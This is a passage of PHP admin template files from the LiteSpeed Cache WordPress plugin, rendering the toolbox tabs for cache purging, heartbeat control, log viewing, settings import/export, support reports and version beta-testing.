	$_panels[] = array(
		'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Unique CSS', 'litespeed-cache' ),
		'desc'       => esc_html__( 'This will delete all generated unique CSS files', 'litespeed-cache' ),
		'icon'       => 'purge-cssjs',
		'append_url' => Purge::TYPE_PURGE_ALL_UCSS,
	);
}

if ( $this->has_cache_folder( 'localres' ) ) {
	$_panels[] = array(
		'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Localized Resources', 'litespeed-cache' ),
		'desc'       => esc_html__( 'This will delete all localized resources', 'litespeed-cache' ),
		'icon'       => 'purge-cssjs',
		'append_url' => Purge::TYPE_PURGE_ALL_LOCALRES,
	);
}

if ( $this->has_cache_folder( 'lqip' ) ) {
	$_panels[] = array(
		'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LQIP Cache', 'litespeed-cache' ),
		'desc'       => esc_html__( 'This will delete all generated image LQIP placeholder files', 'litespeed-cache' ),
		'icon'       => 'purge-front',
		'append_url' => Purge::TYPE_PURGE_ALL_LQIP,
	);
}

if ( $this->has_cache_folder( 'avatar' ) ) {
	$_panels[] = array(
		'title'      => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Gravatar Cache', 'litespeed-cache' ),
		'desc'       => esc_html__( 'This will delete all cached Gravatar files', 'litespeed-cache' ),
		'icon'       => 'purge-cssjs',
		'append_url' => Purge::TYPE_PURGE_ALL_AVATAR,
	);
}

$_panels[] = array(
	'title'      => esc_html__( 'Purge All', 'litespeed-cache' ),
	'desc'       => esc_html__( 'Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches', 'litespeed-cache' ),
	'icon'       => 'purge-all',
	'title_cls'  => 'litespeed-warning',
	'newline'    => true,
	'append_url' => Purge::TYPE_PURGE_ALL,
);

if ( ! is_multisite() || is_network_admin() ) {
	$_panels[] = array(
		'title'     => esc_html__( 'Empty Entire Cache', 'litespeed-cache' ),
		'desc'      => esc_html__( 'Clears all cache entries related to this site, including other web applications.', 'litespeed-cache' ) . ' <b>' . esc_html__( 'This action should only be used if things are cached incorrectly.', 'litespeed-cache' ) . '</b>',
		'tag'       => Core::ACTION_PURGE_EMPTYCACHE,
		'icon'      => 'empty-cache',
		'title_cls' => 'litespeed-danger',
		'cfm'       => esc_html__( 'This will clear EVERYTHING inside the cache.', 'litespeed-cache' ) . ' ' . esc_html__( 'This may cause heavy load on the server.', 'litespeed-cache' ) . ' ' . esc_html__( 'If only the WordPress site should be purged, use Purge All.', 'litespeed-cache' ),
	);
}

?>

<?php require_once LSCWP_DIR . 'tpl/inc/check_cache_disabled.php'; ?>

<h3 class="litespeed-title">
	<?php esc_html_e( 'Purge', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#purge-tab' ); ?>
</h3>

<div class="litespeed-panel-wrapper litespeed-cards-wrapper">
	<?php foreach ( $_panels as $panel ) : ?>
		<?php
		$action_tag = ! empty( $panel['tag'] ) ? $panel['tag'] : Router::ACTION_PURGE;
		$append_url = ! empty( $panel['append_url'] ) ? $panel['append_url'] : false;
		$cfm        = ! empty( $panel['cfm'] ) ? Str::trim_quotes( $panel['cfm'] ) : false;
		?>
		<?php if ( ! empty( $panel['newline'] ) ) : ?>
			<div class="litespeed-col-br"></div>
		<?php endif; ?>
		<a class="litespeed-panel postbox" href="<?php echo esc_url( Utility::build_url( $action_tag, $append_url ) ); ?>" data-litespeed-cfm="<?php echo esc_attr( $cfm ); ?>">
			<section class="litespeed-panel-wrapper-icon">
				<span class="litespeed-panel-icon-<?php echo esc_attr( $panel['icon'] ); ?>"></span>
			</section>
			<section class="litespeed-panel-content">
				<div class="litespeed-h3 <?php echo ! empty( $panel['title_cls'] ) ? esc_attr( $panel['title_cls'] ) : ''; ?>">
					<?php echo esc_html( $panel['title'] ); ?>
				</div>
				<span class="litespeed-panel-para"><?php echo wp_kses_post( $panel['desc'] ); ?></span>
			</section>
		</a>
	<?php endforeach; ?>
</div>

<?php
if ( is_multisite() && is_network_admin() ) {
	return;
}
?>

<h3 class="litespeed-title">
	<?php esc_html_e( 'Purge By...', 'litespeed-cache' ); ?>
</h3>
<p class="litespeed-description">
	<?php esc_html_e( 'Select below for "Purge by" options.', 'litespeed-cache' ); ?>
	<?php Doc::one_per_line(); ?>
</p>

<?php $this->form_action( Core::ACTION_PURGE_BY ); ?>
	<div class="litespeed-row">
		<div class="litespeed-switch litespeed-mini litespeed-right20 litespeed-margin-bottom10">
			<?php $val = Admin_Display::PURGEBY_CAT; ?>
			<input type="radio" autocomplete="off" name="<?php echo esc_attr( Admin_Display::PURGEBYOPT_SELECT ); ?>" id="purgeby_option_category" value="<?php echo esc_attr( $val ); ?>" checked />
			<label for="purgeby_option_category"><?php esc_html_e( 'Category', 'litespeed-cache' ); ?></label>

			<?php $val = Admin_Display::PURGEBY_PID; ?>
			<input type="radio" autocomplete="off" name="<?php echo esc_attr( Admin_Display::PURGEBYOPT_SELECT ); ?>" id="purgeby_option_postid" value="<?php echo esc_attr( $val ); ?>" />
			<label for="purgeby_option_postid"><?php esc_html_e( 'Post ID', 'litespeed-cache' ); ?></label>

			<?php $val = Admin_Display::PURGEBY_TAG; ?>
			<input type="radio" autocomplete="off" name="<?php echo esc_attr( Admin_Display::PURGEBYOPT_SELECT ); ?>" id="purgeby_option_tag" value="<?php echo esc_attr( $val ); ?>" />
			<label for="purgeby_option_tag"><?php esc_html_e( 'Tag', 'litespeed-cache' ); ?></label>

			<?php $val = Admin_Display::PURGEBY_URL; ?>
			<input type="radio" autocomplete="off" name="<?php echo esc_attr( Admin_Display::PURGEBYOPT_SELECT ); ?>" id="purgeby_option_url" value="<?php echo esc_attr( $val ); ?>" />
			<label for="purgeby_option_url"><?php esc_html_e( 'URL', 'litespeed-cache' ); ?></label>
		</div>

		<div class="litespeed-cache-purgeby-text litespeed-desc">
			<div class="" data-purgeby="<?php echo esc_attr( Admin_Display::PURGEBY_CAT ); ?>">
				<?php printf( esc_html__( 'Purge pages by category name - e.g. %2$s should be used for the URL %1$s.', 'litespeed-cache' ), '<code>http://example.com/category/category-name/</code>', '<code>category-name</code>' ); ?>
			</div>
			<div class="litespeed-hide" data-purgeby="<?php echo esc_attr( Admin_Display::PURGEBY_PID ); ?>">
				<?php esc_html_e( 'Purge pages by post ID.', 'litespeed-cache' ); ?>
			</div>
			<div class="litespeed-hide" data-purgeby="<?php echo esc_attr( Admin_Display::PURGEBY_TAG ); ?>">
				<?php printf( esc_html__( 'Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.', 'litespeed-cache' ), '<code>http://example.com/tag/tag-name/</code>', '<code>tag-name</code>' ); ?>
			</div>
			<div class="litespeed-hide" data-purgeby="<?php echo esc_attr( Admin_Display::PURGEBY_URL ); ?>">
				<?php esc_html_e( 'Purge pages by relative or full URL.', 'litespeed-cache' ); ?>
				<?php printf( esc_html__( 'e.g. Use %1$s or %2$s.', 'litespeed-cache' ), '<code>/2016/02/24/hello-world/</code>', '<code>http://example.com/2016/02/24/hello-world/</code>' ); ?>
			</div>
		</div>
	</div>

	<p>
		<textarea name="<?php echo esc_attr( Admin_Display::PURGEBYOPT_LIST ); ?>" rows="5" class="litespeed-textarea"></textarea>
	</p>

	<p>
		<button type="submit" class="button button-primary"><?php esc_html_e( 'Purge List', 'litespeed-cache' ); ?></button>
	</p>
</form>
<script>
(function ($) {
	function setCookie(name, value, days) {
		var expires = "";
		if (days) {
			var date = new Date();
			date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
			expires = "; expires=" + date.toUTCString();
		}
		document.cookie = name + "=" + (value || "") + expires + "; path=/; SameSite=Strict";
	}

	function getCookie(name) {
		var nameEQ = name + "=";
		var ca = document.cookie.split(';');
		for (var i = 0; i < ca.length; i++) {
			var c = ca[i];
			while (c.charAt(0) == ' ') {
				c = c.substring(1, c.length);
			}
			if (c.indexOf(nameEQ) == 0) {
				return c.substring(nameEQ.length, c.length);
			}
		}
		return null;
	}

	jQuery(document).ready(function () {
		var savedPurgeBy = getCookie('litespeed_purgeby_option');
		if (savedPurgeBy) {
			$('input[name="<?php echo esc_attr( Admin_Display::PURGEBYOPT_SELECT ); ?>"][value="' + savedPurgeBy + '"]').prop('checked', true);
			$('[data-purgeby]').addClass('litespeed-hide');
			$('[data-purgeby="' + savedPurgeBy + '"]').removeClass('litespeed-hide');
		}
		// Manage page -> purge by
		$('[name=purgeby]').on('change', function (event) {
			$('[data-purgeby]').addClass('litespeed-hide');
			$('[data-purgeby=' + this.value + ']').removeClass('litespeed-hide');
			setCookie('litespeed_purgeby_option', this.value, 30);
		});
	});
})(jQuery);
</script>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/entry.tpl.php000064400000003277151031165260021235 0ustar00<?php
/**
 * LiteSpeed Cache Toolbox
 *
 * Renders the toolbox interface for LiteSpeed Cache, providing access to various administrative tools and settings.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
	'purge' => esc_html__( 'Purge', 'litespeed-cache' ),
);

if ( ! $this->_is_network_admin ) {
	$menu_list['import_export'] = esc_html__( 'Import / Export', 'litespeed-cache' );
}

if ( ! $this->_is_multisite || $this->_is_network_admin ) {
	$menu_list['edit_htaccess'] = esc_html__( 'View .htaccess', 'litespeed-cache' );
}

if ( ! $this->_is_network_admin ) {
	$menu_list['heartbeat'] = esc_html__( 'Heartbeat', 'litespeed-cache' );
	$menu_list['report']    = esc_html__( 'Report', 'litespeed-cache' );
}

if ( ! $this->_is_multisite || $this->_is_network_admin ) {
	$menu_list['settings-debug'] = esc_html__( 'Debug Settings', 'litespeed-cache' );
	$menu_list['log_viewer']     = esc_html__( 'Log View', 'litespeed-cache' );
	$menu_list['beta_test']      = esc_html__( 'Beta Test', 'litespeed-cache' );
}
?>

<div class="wrap">
	<h1 class="litespeed-h1">
		<?php esc_html_e( 'LiteSpeed Cache Toolbox', 'litespeed-cache' ); ?>
	</h1>
	<span class="litespeed-desc">
		v<?php echo esc_html( Core::VER ); ?>
	</span>
	<hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
	<h2 class="litespeed-header nav-tab-wrapper">
		<?php GUI::display_tab_list( $menu_list ); ?>
	</h2>

	<div class="litespeed-body">
		<?php foreach ( $menu_list as $curr_tab => $val ) : ?>
			<div data-litespeed-layout="<?php echo esc_attr( $curr_tab ); ?>">
				<?php require LSCWP_DIR . "tpl/toolbox/$curr_tab.tpl.php"; ?>
			</div>
		<?php endforeach; ?>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/heartbeat.tpl.php000064400000010532151031165260022023 0ustar00<?php
/**
 * LiteSpeed Cache Heartbeat Control
 *
 * Renders the heartbeat control settings interface for LiteSpeed Cache, allowing configuration of WordPress heartbeat intervals.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Heartbeat Control', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#heartbeat-tab' ); ?>
</h3>

<div class="litespeed-callout notice notice-warning inline">
	<h4><?php esc_html_e( 'NOTICE:', 'litespeed-cache' ); ?></h4>
	<p>
		<?php esc_html_e( 'Disable WordPress interval heartbeat to reduce server load.', 'litespeed-cache' ); ?>
		<span class="litespeed-warning">
			🚨 <?php esc_html_e( 'Disabling this may cause WordPress tasks triggered by AJAX to stop working.', 'litespeed-cache' ); ?>
		</span>
	</p>
</div>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_MISC_HEARTBEAT_FRONT; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Turn ON to control heartbeat on frontend.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MISC_HEARTBEAT_FRONT_TTL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?> <?php $this->readable_seconds(); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Specify the %s heartbeat interval in seconds.', 'litespeed-cache' ), 'frontend' ); ?>
					<?php printf( esc_html__( 'WordPress valid interval is %s seconds.', 'litespeed-cache' ), '<code>15</code> - <code>120</code>' ); ?><br />
					<?php printf( esc_html__( 'Set to %1$s to forbid heartbeat on %2$s.', 'litespeed-cache' ), '<code>0</code>', 'frontend' ); ?><br />
					<?php $this->recommended( $option_id ); ?>
					<?php $this->_validate_ttl( $option_id, 15, 120, true ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MISC_HEARTBEAT_BACK; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Turn ON to control heartbeat on backend.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MISC_HEARTBEAT_BACK_TTL; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?> <?php $this->readable_seconds(); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Specify the %s heartbeat interval in seconds.', 'litespeed-cache' ), 'backend' ); ?>
					<?php printf( esc_html__( 'WordPress valid interval is %s seconds.', 'litespeed-cache' ), '<code>15</code> - <code>120</code>' ); ?><br />
					<?php printf( esc_html__( 'Set to %1$s to forbid heartbeat on %2$s.', 'litespeed-cache' ), '<code>0</code>', 'backend' ); ?><br />
					<?php $this->recommended( $option_id ); ?>
					<?php $this->_validate_ttl( $option_id, 15, 120, true ); ?>
</div>
</td>
</tr>

<tr>
		<th>
			<?php $option_id = Base::O_MISC_HEARTBEAT_EDITOR; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Turn ON to control heartbeat in backend editor.', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_MISC_HEARTBEAT_EDITOR_TTL; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id, 'litespeed-input-short' ); ?> <?php $this->readable_seconds(); ?>
			<div class="litespeed-desc">
		<?php printf( esc_html__( 'Specify the %s heartbeat interval in seconds.', 'litespeed-cache' ), 'backend editor' ); ?>
		<?php printf( esc_html__( 'WordPress valid interval is %s seconds.', 'litespeed-cache' ), '<code>15</code> - <code>120</code>' ); ?><br />
		<?php printf( esc_html__( 'Set to %1$s to forbid heartbeat on %2$s.', 'litespeed-cache' ), '<code>0</code>', 'backend editor' ); ?><br />
		<?php $this->recommended( $option_id ); ?>
		<?php $this->_validate_ttl( $option_id, 15, 120, true ); ?>
	</div>
</td>
</tr>

</tbody>
</table>

<?php $this->form_end(); ?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/log_viewer.tpl.php000064400000005413151031165260022230 0ustar00<?php
/**
 * LiteSpeed Cache Log Viewer
 *
 * Renders the log viewer interface for LiteSpeed Cache, displaying debug, purge, and crawler logs with options to copy or clear logs.
 *
 * @package LiteSpeed
 * @since 4.7
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$logs = array(
	array(
		'name'      => 'debug',
		'label'     => esc_html__( 'Debug Log', 'litespeed-cache' ),
		'accesskey' => 'A',
	),
	array(
		'name'      => 'purge',
		'label'     => esc_html__( 'Purge Log', 'litespeed-cache' ),
		'accesskey' => 'B',
	),
	array(
		'name'      => 'crawler',
		'label'     => esc_html__( 'Crawler Log', 'litespeed-cache' ),
		'accesskey' => 'C',
	),
);
?>

<h3 class="litespeed-title">
	<?php esc_html_e( 'LiteSpeed Logs', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#log-view-tab' ); ?>
</h3>

<div class="litespeed-log-subnav-wrapper">
	<?php foreach ( $logs as $log ) : ?>
		<a href="#<?php echo esc_attr( $log['name'] ); ?>_log" class="button button-secondary" data-litespeed-subtab="<?php echo esc_attr( $log['name'] ); ?>_log" litespeed-accesskey="<?php echo esc_attr( $log['accesskey'] ); ?>">
			<?php echo esc_html( $log['label'] ); ?>
		</a>
	<?php endforeach; ?>
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_DEBUG2, Debug2::TYPE_CLEAR_LOG ) ); ?>" class="button button-primary" litespeed-accesskey="D">
		<?php esc_html_e( 'Clear Logs', 'litespeed-cache' ); ?>
	</a>
</div>

<?php
foreach ( $logs as $log ) :
	$file      = $this->cls( 'Debug2' )->path( $log['name'] );
	$lines     = File::count_lines( $file );
	$max_lines = apply_filters( 'litespeed_debug_show_max_lines', 1000 );
	$start     = $lines > $max_lines ? $lines - $max_lines : 0;
	$lines     = File::read( $file, $start );
	$lines     = $lines ? trim( implode( "\n", $lines ) ) : '';

	$log_body_id = 'litespeed-log-' . esc_attr( $log['name'] );
?>
	<div class="litespeed-log-view-wrapper" data-litespeed-sublayout="<?php echo esc_attr( $log['name'] ); ?>_log">
		<h3 class="litespeed-title">
			<?php echo esc_html( $log['label'] ); ?>
			<a href="#<?php echo esc_attr( $log['name'] ); ?>_log" class="button litespeed-info-button litespeed-wrap" onClick="litespeed_copy_to_clipboard('<?php echo esc_js( $log_body_id ); ?>', this)" aria-label="<?php esc_attr_e( 'Click to copy', 'litespeed-cache' ); ?>" data-balloon-pos="down">
				<?php esc_html_e( 'Copy Log', 'litespeed-cache' ); ?>
			</a>
		</h3>
		<div class="litespeed-log-body" id="<?php echo esc_attr( $log_body_id ); ?>">
			<?php echo nl2br( esc_html( $lines ) ); ?>
		</div>
	</div>
<?php endforeach; ?>

<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_DEBUG2, Debug2::TYPE_CLEAR_LOG ) ); ?>" class="button button-primary">
	<?php esc_html_e( 'Clear Logs', 'litespeed-cache' ); ?>
</a>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/import_export.tpl.php000064400000005265151031165260023006 0ustar00<?php
/**
 * LiteSpeed Cache Import/Export Settings
 *
 * Renders the import/export settings interface for LiteSpeed Cache, allowing users to export, import, or reset plugin settings.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$summary = Import::get_summary();
?>

<h3 class="litespeed-title">
	<?php esc_html_e( 'Export Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#importexport-tab' ); ?>
</h3>

<div>
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMPORT, Import::TYPE_EXPORT ) ); ?>" class="button button-primary">
		<?php esc_html_e( 'Export', 'litespeed-cache' ); ?>
	</a>
</div>

<?php if ( ! empty( $summary['export_file'] ) ) : ?>
	<div class="litespeed-desc">
		<?php esc_html_e( 'Last exported', 'litespeed-cache' ); ?>: <code><?php echo esc_html( $summary['export_file'] ); ?></code> <?php echo esc_html( Utility::readable_time( $summary['export_time'] ) ); ?>
	</div>
<?php endif; ?>

<div class="litespeed-desc">
	<?php esc_html_e( 'This will export all current LiteSpeed Cache settings and save them as a file.', 'litespeed-cache' ); ?>
</div>

<h3 class="litespeed-title">
	<?php esc_html_e( 'Import Settings', 'litespeed-cache' ); ?>
</h3>

<?php $this->form_action( Router::ACTION_IMPORT, Import::TYPE_IMPORT, true ); ?>
	<div class="litespeed-div">
		<input type="file" name="ls_file" class="litespeed-input" />
	</div>
	<div class="litespeed-div">
		<?php submit_button( esc_html__( 'Import', 'litespeed-cache' ), 'button button-primary', 'litespeed-submit' ); ?>
	</div>
</form>

<?php if ( ! empty( $summary['import_file'] ) ) : ?>
	<div class="litespeed-desc">
		<?php esc_html_e( 'Last imported', 'litespeed-cache' ); ?>: <code><?php echo esc_html( $summary['import_file'] ); ?></code> <?php echo esc_html( Utility::readable_time( $summary['import_time'] ) ); ?>
	</div>
<?php endif; ?>

<div class="litespeed-desc">
	<?php esc_html_e( 'This will import settings from a file and override all current LiteSpeed Cache settings.', 'litespeed-cache' ); ?>
</div>

<h3 class="litespeed-title">
	<?php esc_html_e( 'Reset All Settings', 'litespeed-cache' ); ?>
</h3>

<div>
	<p class="litespeed-danger">🚨 <?php esc_html_e( 'This will reset all settings to default settings.', 'litespeed-cache' ); ?></p>
</div>
<div>
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMPORT, Import::TYPE_RESET ) ); ?>" data-litespeed-cfm="<?php echo esc_attr( __( 'Are you sure you want to reset all settings back to the default settings?', 'litespeed-cache' ) ); ?>" class="button litespeed-btn-danger-bg">
		<?php esc_html_e( 'Reset Settings', 'litespeed-cache' ); ?>
	</a>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/report.tpl.php000064400000014546151031165260021410 0ustar00<?php
/**
 * LiteSpeed Cache Report Interface
 *
 * Renders the report interface for LiteSpeed Cache, allowing users to generate and send environment reports to LiteSpeed Support.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$_report = Report::cls();
$report  = $_report->generate_environment_report();

$env_ref = Report::get_summary();

// Detect passwordless plugin
$dologin_link        = '';
$has_pswdless_plugin = false;
if ( function_exists( 'dologin_gen_link' ) ) {
	$has_pswdless_plugin = true;
	if ( ! empty( $_GET['dologin_gen_link'] ) && ! empty( $_GET['litespeed_purge_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['litespeed_purge_nonce'] ) ), 'litespeed_purge_action' ) ) {
		unset( $_GET['dologin_gen_link'] );
		$dologin_link = dologin_gen_link( 'Litespeed Report' );
		?>
		<script>
			window.history.pushState('remove_gen_link', document.title, window.location.href.replace('&dologin_gen_link=1', ''));
		</script>
		<?php
	}
}

$install_link = Utility::build_url( Router::ACTION_ACTIVATION, Activation::TYPE_INSTALL_3RD, false, null, array( 'plugin' => 'dologin' ) );

$btn_title = esc_html__( 'Send to LiteSpeed', 'litespeed-cache' );
if ( ! empty( $env_ref['num'] ) ) {
	$btn_title = esc_html__( 'Regenerate and Send a New Report', 'litespeed-cache' );
}
?>

<?php if ( ! $has_pswdless_plugin ) : ?>
	<div class="litespeed-callout notice notice-warning inline">
		<h4><?php esc_html_e( 'NOTICE:', 'litespeed-cache' ); ?></h4>
		<p>
			<?php printf( esc_html__( 'To generate a passwordless link for LiteSpeed Support Team access, you must install %s.', 'litespeed-cache' ), '<a href="https://wordpress.org/plugins/dologin/" target="_blank">DoLogin Security</a>' ); ?>
		</p>
		<p>
			<a href="<?php echo esc_url( $install_link ); ?>" class="button litespeed-btn litespeed-right20"><?php esc_html_e( 'Install DoLogin Security', 'litespeed-cache' ); ?></a>
			<a href="<?php echo esc_url( admin_url( 'plugin-install.php?s=dologin+security&tab=search&type=term' ) ); ?>" target="_blank"><?php esc_html_e( 'Go to plugins list', 'litespeed-cache' ); ?></a>
		</p>
	</div>
<?php endif; ?>

<h3 class="litespeed-title">
	<?php esc_html_e( 'LiteSpeed Report', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#report-tab' ); ?>
</h3>

<p><?php esc_html_e( 'Last Report Number', 'litespeed-cache' ); ?>: <b><?php echo ! empty( $env_ref['num'] ) ? '<span id="report_span" style="cursor: pointer;" onClick="litespeed_copy_to_clipboard(\'report_span\', this)" aria-label="' . esc_attr__( 'Click to copy', 'litespeed-cache' ) . '" data-balloon-pos="down" class="litespeed-wrap">' . esc_html( $env_ref['num'] ) . '</span>' : '-'; ?></b></p>
<p><?php esc_html_e( 'Last Report Date', 'litespeed-cache' ); ?>: <b><?php echo ! empty( $env_ref['dateline'] ) ? esc_html( gmdate( 'm/d/Y H:i:s', $env_ref['dateline'] ) ) : '-'; ?></b></p>

<p class="litespeed-desc">
	<?php esc_html_e( 'The environment report contains detailed information about the WordPress configuration.', 'litespeed-cache' ); ?>
	<br />
	<?php esc_html_e( 'If you run into any issues, please refer to the report number in your support message.', 'litespeed-cache' ); ?>
</p>

<?php $this->form_action( Router::ACTION_REPORT, Report::TYPE_SEND_REPORT ); ?>
	<table class="wp-list-table striped litespeed-table">
		<tbody>
			<tr>
				<th><?php esc_html_e( 'System Information', 'litespeed-cache' ); ?></th>
				<td>
					<textarea id="litespeed-report" rows="20" cols="100" readonly><?php echo esc_textarea( $report ); ?></textarea>
				</td>
			</tr>
			<tr>
				<th></th>
				<td>
					<?php
					$this->build_checkbox(
						'attach_php',
						sprintf(
							esc_html__( 'Attach PHP info to report. Check this box to insert relevant data from %s.', 'litespeed-cache' ),
							'<a href="https://www.php.net/manual/en/function.phpinfo.php" target="_blank">phpinfo()</a>'
						),
						false
					);
					?>
				</td>
			</tr>
			<tr>
				<th><?php esc_html_e( 'Passwordless Link', 'litespeed-cache' ); ?></th>
				<td>
					<input type="text" class="litespeed-regular-text" id="litespeed-report-link" name="link" value="<?php echo esc_attr( $dologin_link ); ?>" style="width:500px;" />
					<?php if ( $has_pswdless_plugin ) : ?>
						<a href="<?php echo esc_url( wp_nonce_url( admin_url( 'admin.php?page=litespeed-toolbox&dologin_gen_link=1' ), 'litespeed_purge_action', 'litespeed_purge_nonce' ) ); ?>" class="button button-secondary"><?php esc_html_e( 'Generate Link for Current User', 'litespeed-cache' ); ?></a>
					<?php else : ?>
						<button type="button" class="button button-secondary" disabled><?php esc_html_e( 'Generate Link for Current User', 'litespeed-cache' ); ?></button>
					<?php endif; ?>
					<div class="litespeed-desc">
						<?php esc_html_e( 'To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.', 'litespeed-cache' ); ?>
						<?php if ( $dologin_link ) : ?>
							<br /><strong>🚨 <?php esc_html_e( 'Please do NOT share the above passwordless link with anyone.', 'litespeed-cache' ); ?></strong>
							<strong>
								<?php
								printf(
									/* translators: %s: Link tags */
									esc_html__( 'Generated links may be managed under %sSettings%s.', 'litespeed-cache' ),
									'<a href="' . esc_url( menu_page_url( 'dologin', false ) ) . '#pswdless">',
									'</a>' );
								?>
							</strong>
						<?php endif; ?>
					</div>
				</td>
			</tr>
			<tr>
				<th><?php esc_html_e( 'Notes', 'litespeed-cache' ); ?></th>
				<td>
					<textarea name="notes" rows="10" cols="100"></textarea>
					<div class="litespeed-desc">
						<?php esc_html_e( 'Optional', 'litespeed-cache' ); ?>:
						<?php esc_html_e( 'provide more information here to assist the LiteSpeed team with debugging.', 'litespeed-cache' ); ?>
					</div>
				</td>
			</tr>
		</tbody>
	</table>

	<div class="litespeed-top20"></div>
	<button class="button button-primary" type="submit"><?php echo esc_html( $btn_title ); ?></button>
	<button class="button button-primary litespeed-float-submit" type="submit"><?php echo esc_html( $btn_title ); ?></button>

	<p class="litespeed-top30 litespeed-left10 litespeed-desc">
		<?php esc_html_e( 'Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.', 'litespeed-cache' ); ?>
	</p>
</form>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/toolbox/beta_test.tpl.php000064400000007577151031165260022055 0ustar00<?php
/**
 * LiteSpeed Cache Beta Test
 *
 * Renders the beta test interface for LiteSpeed Cache, allowing users to switch plugin versions or test GitHub commits.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

// List of available public versions
$v_list = array(
	'7.5.0.1',
	'7.5',
	'7.4',
	'7.3.0.1',
	'7.3',
	'7.2',
	'7.1',
	'7.0.1',
	'6.5.4',
	'5.7.0.1',
	'4.6',
	'3.6.4',
);
?>

<?php $this->form_action( Router::ACTION_DEBUG2, Debug2::TYPE_BETA_TEST ); ?>

	<h3 class="litespeed-title">
		<?php esc_html_e( 'Try GitHub Version', 'litespeed-cache' ); ?>
		<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#beta-test-tab' ); ?>
	</h3>

	<?php if ( defined( 'LITESPEED_DISABLE_ALL' ) && LITESPEED_DISABLE_ALL ) : ?>
		<div class="litespeed-callout notice notice-warning inline">
			<h4><?php esc_html_e( 'NOTICE:', 'litespeed-cache' ); ?></h4>
			<p><?php esc_html_e( 'LiteSpeed Cache is disabled. This functionality will not work.', 'litespeed-cache' ); ?></p>
		</div>
	<?php endif; ?>

	<div class="litespeed-desc">
		<?php esc_html_e( 'Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.', 'litespeed-cache' ); ?>
	</div>
	<div class="litespeed-desc">
		<?php esc_html_e( 'Example', 'litespeed-cache' ); ?>: <code>https://github.com/litespeedtech/lscache_wp/commit/example_comment_hash_d3ebec0535aaed5c932c0</code>
	</div>

	<input type="text" name="<?php echo esc_attr( Debug2::BETA_TEST_URL ); ?>" class="litespeed-input-long" id="litespeed-beta-test" value="">

	<p>
		<a href="javascript:;" class="button litespeed-btn-success" onclick="document.getElementById('litespeed-beta-test').value='dev';"><?php esc_html_e( 'Use latest GitHub Dev commit', 'litespeed-cache' ); ?></a> <code>dev</code>
	</p>

	<p>
